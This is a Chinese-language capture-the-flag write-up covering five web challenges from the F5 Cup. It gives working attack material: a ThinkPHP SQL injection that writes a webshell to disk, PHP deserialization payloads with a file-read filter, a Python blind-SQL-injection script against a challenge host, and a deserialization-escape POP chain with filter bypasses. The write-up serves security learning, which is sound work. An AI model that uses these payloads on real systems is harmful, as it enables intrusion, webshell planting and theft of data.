F5杯 Web部分題目Writeup by atao
Web1 lastsward's website
考點:SQL注入寫Webshell
網站是TP3的框架,在網上找到了Payload:?id[0]=exp&id[1]==1 or sleep(5)
,網站打開游戲后,觀察URL發現參數變成了gameId
,一開始感覺是SQL注入,但是ban掉了太多函數和語句,其中包括了where關鍵字
讓人感覺不是盲注了
接着出題人給出了兩個Hint
1.flag不在數據庫里,嘗試寫shell
2.sql查詢語句是 select * from game where id = 1 游戲名和游戲id是一張表的不同字段 配合修改游戲名功能寫shell
我們知道要通過寫Webshell獲得flag,然后第二點就是payload可以修改游戲名可以配合寫入shell
不過SQL寫入的操作還是很多都被Ban了,測試后發現dumpfile還可以用,根據它給出的SQL查詢語句,我們可以拼出 select * from game where id =2 into dumpfile "/var/www/html/shell.php"#
,獲得Payload為/index.php/Home/Game/gameinfo/?gameId[0]=exp&gameId[1]==2 into dumpfile "/var/www/html/shell.php"#
,接着訪問shell.php看到了21shengdan,然后對應修改游戲名為<?php phpinfo()?>
再打一次,在phpinfo中找到flag
Web2 eazy-unserialize&eazy-unserialize-revenge
考點:反序列化
兩題用同一個Payload打通,一開始都是混淆視聽的代碼,主要代碼部分
class Happy{
public $file='flag.php';
function __destruct(){
if(!empty($this->file)) {
include $this->file;
}
}
}
function ezwaf($data){
if (preg_match("/ctfshow/",$data)){
die("Hacker !!!");
}
return $data;
}
if(isset($_GET["w_a_n"])) {
@unserialize(ezwaf($_GET["w_a_n"]));
} else {
new CTFSHOW("lookme", array());
}
通過Happy類的__destruct魔術方法,存在文件包含的漏洞,這里通過php偽協議進行源碼讀取
<?php
class Happy{
public $file='php://filter/read=convert.base64-encode/resource=/flag';
}
echo serialize(new Happy());
?>
//Payload:?w_a_n=O:5:"Happy":1:{s:4:"file";s:54:"php://filter/read=convert.base64-encode/resource=/flag";}
Web3 迷惑行為大賞之盲注
考點:SQL盲注中文字符,特殊字符@
一個登錄窗口還有一個忘記密碼的功能,登錄只會報錯登錄失敗,后來發現忘記密碼會有不同的回顯,如admin' AND 1=1#
回顯有帶個P,但admin' AND 1=0#
回顯用戶不存在。沒有什么過濾,所以很好做,唯一有點坑的地方就是中文數據庫,這個得用hex()轉成十六進制來獲得內容,還有一個就是列名是what@you@want,存在@的特殊字符,得用反引號括起來,上腳本(腳本沒使用二分法,又遜又慢!賽后太空人師傅跟我說sqlmap就可以注入出來!!!學好工具真的好用)
#!/usr/bin/env python
# -*- coding:utf-8 -*-
import requests
url = 'http://f78d13d1-a633-49d7-a33d-0c6caa352b1d.chall.ctf.show:8080/forgot.php'
s = 0
for x in range(1,500):
data = {
#'username': "admin'AND 1=(length((select group_concat(table_name) from information_schema.tables where table_schema='mysql'))={})#".format(x)
#'username': "admin'AND 1=(length((Select group_concat(column_name) From information_schema.columns Where table_schema=database() AND table_name='user'))={})#".format(x)
#'username': "admin'AND 1=(length((Select group_concat(flagnothere) from user))={})#".format(x)
#'username': "admin'AND 1=(length((Select group_concat(passw0rd) from user))={})#".format(x)
#'username': "admin'AND 1=(length((select group_concat(schema_name) from information_schema.schemata))={})#".format(x)
# 1.獲得數據庫
'username': "admin'AND 1=(length((select HEX(group_concat(schema_name)) from information_schema.schemata))={})#".format(x)
# 2.獲得表名
#'username': "admin'AND 1=(length((select group_concat(table_name) from information_schema.tables where table_schema=substr((select group_concat(schema_name) from information_schema.schemata),35,2)))={})#".format(x)
# 3.獲得列名
#'username': "admin'AND 1=(length((select group_concat(column_name) From information_schema.columns where table_schema=substr((select group_concat(schema_name) from information_schema.schemata),35,2) AND table_name='15665611612'))={})#".format(x)
# 4.獲得內容,因為有@關鍵字符,用``反引號括起來
#'username': "admin'AND 1=(length((Select HEX(group_concat(`what@you@want`)) from 測試.15665611612))={})#".format(x)
}
res = requests.post(url=url, data=data)
if " :P" in res.text:
s = x + 1
break
print s
flag = ''
for i in range(1,s):
for j in range(34,255):
data ={
#'username':"admin'AND 1=(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema='mysql'),{},1))={})#".format(i,j)
#'username': "admin'AND 1=(ascii(substr((Select group_concat(column_name) From information_schema.columns Where table_schema=database() AND table_name='user'),{},1))={})#".format(i, j)
#'username': "admin'AND 1=(ascii(substr((Select group_concat(flagnothere) from user),{},1))={})#".format(i, j)
#'username': "admin'AND 1=(ascii(substr((Select group_concat(passw0rd) from user),{},1))={})#".format(i, j)
#'username': "admin'AND 1=(ascii(substr((select group_concat(schema_name) from information_schema.schemata),{},1))={})#".format(i, j)
#1.獲得數據庫
'username': "admin'AND 1=(ascii(substr((select HEX(group_concat(schema_name)) from information_schema.schemata),{},1))={})#".format(i, j)
# 2.獲得表名
#'username': "admin'AND 1=(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=substr((select group_concat(schema_name) from information_schema.schemata),35,2)),{},1))={})#".format(i, j)
#3.獲得列名
#'username': "admin'AND 1=(ascii(substr((select group_concat(column_name) From information_schema.columns where table_schema=substr((select group_concat(schema_name) from information_schema.schemata),35,2) AND table_name='15665611612'),{},1))={})#".format(i, j)
#4.獲得內容,因為有@關鍵字符,用``反引號括起來
#'username': "admin'AND 1=(ascii(substr((Select HEX(group_concat(`what@you@want`)) from `測試`.`15665611612`),{},1))={})#".format(i,j)
#十六進制轉字符串(含中文)的在線解碼網址:http://www.bejson.com/convert/ox2str/
}
res = requests.post(url=url,data=data)
#print res.text
if "P" in res.text:
flag += chr(j)
break
print flag
#print str(i) + flag
Web4 Web逃離計划
考點:弱口令、PHP偽協議、反序列化逃逸
這題不一定能講的很清楚,如果還是不理解可以私信我!
一開始是登錄界面,隨意登陸給了提示說登陸有驚喜,嘗試后發現是弱口令登陸admin/admin888
,但是沒有什么變化,然后就偷偷摸摸掃了后台,獲得了hint.php和class.php,並且在hint中存在Here are some key messages that are hidden but u can't read u may try other ways to read this file to get hints
,應該是要用別的方式訪問
給出了Hint:注意背景圖片
通過背景圖片可以知道存在一個lookMe.php的文件可能存在文件包含的漏洞,訪問一下獲得源碼
<?php
error_reporting(0);
if ($_GET['file']){
$filename = $_GET['file'];
if ($filename=='logo.png'){
header("Content-Type:image/png");
echo file_get_contents("./static/img/logo.png");
}else{
ini_set('open_basedir','./');
if ($filename=='hint.php'){
echo 'nononono!';
} else{
if(preg_match('/read|[\x00-\x2c]| |flag|\.\.|\.\//i', $filename)){
echo "hacker";
}else{
include($filename);
}
}
}
}else{
highlight_file(__FILE__);
}
過濾內容:read
、%00-%2C
、
、flag
、..
這些內容,但是php偽協議並沒有過濾死,在讀文件時可以不寫read,如下圖所示
讀了hint.php后給了ezwaf.php
、class.php
、index.php
、lookMe.php
,然后依次讀取源碼,下面僅截取有用的部分
ezwaf.php
<?php
function get($data){
$data = str_replace('forfun', chr(0)."*".chr(0), $data);
return $data;
}
function checkData($data){
if(stristr($data, 'username')!==False&&stristr($data, 'password')!==False){
die("fuc**** hacker!!!\n");
}
else{
return $data;
}
}
function checkLogData($data){
if (preg_match("/register|magic|PersonalFunction/",$data)){
die("fuc**** hacker!!!!\n");
}
else{
return $data;
}
}
看到第一個get()函數時猜測反序列化逃逸,后面兩個是過濾函數,checkData($data)函數中的stristr()函數
對大小寫敏感,如果是在反序列化逃逸的過濾可能存在繞過的方式通過將字符串的s類型改為S,可以對十六進制進行解碼
;checkLogData($data)中的preg_match("/register|magic|PersonalFunction/",$data)
並沒有i模式
所以對大小寫不敏感,類名可以通過改變大小寫不影響
index.php
<?php
include "class.php";
include "ezwaf.php";
session_start();
$username = $_POST['username'];
$password = $_POST['password'];
$finish = false;
if ($username!=null&&$password!=null){
$serData = checkLogData(checkData(get(serialize(new Login($username,$password)))));
$login = unserialize($serData);
$loginStatus = $login->checkStatus();
if ($loginStatus){
$_SESSION['login'] = true;
$_COOKIE['status'] = 0;
}
$finish = true;
}
?>
這里知道了接收Login類,然后也驗證了反序列化逃逸的論證
class.php
<?php
error_reporting(0);
class Login{
protected $user_name;
protected $pass_word;
protected $admin;
public function __construct($username,$password){
$this->user_name=$username;
$this->pass_word=$password;
if ($this->user_name=='admin'&&$this->pass_word=='admin888'){
$this->admin = 1;
}else{
$this->admin = 0;
}
}
public function checkStatus(){
return $this->admin;
}
}
class register{
protected $username;
protected $password;
protected $mobile;
protected $mdPwd;
public function __construct($username,$password,$mobile,$mdPwd){
$this->username = $username;
$this->password = $password;
$this->mobile = $mobile;
$this->$mdPwd = $mdPwd; //初始化時需要傳一個magic類進來
}
public function __toString(){ //__toString()魔術方法用於把類當作字符串時觸發
return $this->mdPwd->pwd; //這里如果$this->mdPwd是magic類,類中沒有pwd為不可訪問屬性會觸發__get()
}
}
class magic{
protected $username = 'admin'; //從下面的__get魔術方法中需$username為admin,不然就退出
public function __get($key){ //__get()魔術方法用於從不可訪問的屬性讀取數據
if ($this->username!=='admin'){
die("what do you do?");
}
$this->getFlag($key);
}
public function getFlag($key){
echo $key."</br>";
system("cat /flagg");
}
}
class PersonalFunction{
protected $username;
protected $password;
protected $func = array();
public function __construct($username, $password,$func){
$this->username = $username;
$this->password = $password;
$this->func = $func; //修改$func初始化,讓他傳入一個包含register類的數組,這樣通過checkFunction函數來觸發__toString魔術方法
}
public function checkFunction(array $funcBars) {
$retData = null;
$personalProperties = array_flip([
'modifyPwd', 'InvitationCode',
'modifyAvatar', 'personalData',
]);
foreach ($personalProperties as $item => $num){
foreach ($funcBars as $funcBar => $stat) {
if (stristr($stat,$item)){ //這里的stristr會把$stat當作一個字符,可以符合__toString()觸發的條件
$retData = true;
}
}
}
return $retData;
}
public function doFunction($function){
// TODO: 出題人提示:一個未完成的功能,不用管這個,單純為了邏輯嚴密.
return true;
}
public function __destruct(){ //__destruct()魔術方法在對象銷毀時觸發
$retData = $this->checkFunction($this->func); //這里剛好可以觸發
$this->doFunction($retData);
}
}
上面的代碼我進行了備注和修改,主要為了觸發POP鏈的效果;POP鏈的利用順序在下圖,從紅框開始,跟着箭頭走即可。
POP鏈構建順序
$a = new magic();
$b = new register('atao','123456','1',$a);
$c = array($b);
$d = new PersonalFunction('atao','123456',$c);
剩下一個反序列化逃逸,這里我們知道是將forfun
轉成 chr(0)."*".chr(0)
,也就是6個字符轉成3個字符
O:5:"Login":3:{s:12:" * user_name";s:4:"atao";s:12:" * pass_word";s:354:"aaa1";S:12:"\00*\00pass_word";O:16:"PersonalFunction":3:{S:11:"\00*\00username";S:4:"atao";S:11:"\00*\00password";S:6:"123456";S:7:"\00*\00func";a:1:{i:0;O:8:"register":4:{S:11:"\00*\00username";S:4:"atao";S:11:"\00*\00password";S:6:"123456";S:9:"\00*\00mobile";S:1:"1";S:8:"\00*\00mdPwd";O:5:"magic":1:{S:11:"\00*\00username";S:5:"admin";}}}};s:5:"admin";s:8:" * admin";i:0;}
這里黃色部分是要被吃掉的字符串,紅色部分是Payload部分,橙色則是補全后面內容的操作(博客上看這部分可能沒變色,見諒)
這里紅框中的數字要和后面的字符串中的字符數量相同,假設一開始我們傳入n個forfun進去,則會有6*n個字符,但是通過get函數后,變成了3*n個字符,再進行反序列化時因為原本的字符數量不夠了會繼續往后吃,則上面黃色部分就是用來這些被吃掉的
然后用紅色部分補上了Login類中的pass_word屬性。這樣反序列化后就會生成一個PersonalFunction對象,然后在銷毀時觸發POP鏈
這里需要填幾個forfun自己算一下,通過";s:12:" * pass_word";s:354:"aaa1
計算為33個字符,則需要11個forfun
最后注意的是兩個過濾函數,繞過的方法上面給了
Payload如下
username=forfunforfunforfunforfunforfunforfunforfunforfunforfunforfunforfun&password=aaaa";S:12:"\00*\00pass_word";O:16:"personalFunction":3:{S:11:"\00*\00\75\73ername";S:4:"atao";S:11:"\00*\00\70\61ssword";S:6:"123456";S:7:"\00*\00func";a:1:{i:0;O:8:"Register":4:{S:11:"\00*\00\75\73ername";S:4:"atao";S:11:"\00*\00\70\61ssword";S:6:"123456";S:9:"\00*\00mobile";S:1:"1";S:8:"\00*\00mdPwd";O:5:"Magic":1:{S:11:"\00*\00\75\73ername";S:5:"admin";}}}};s:5:"admin
Web5 未完成的項目
真的就沒有完成,AK失敗,得學習一下NodeJS,只知道原型污染鏈和一些Trick,其他的還不了解。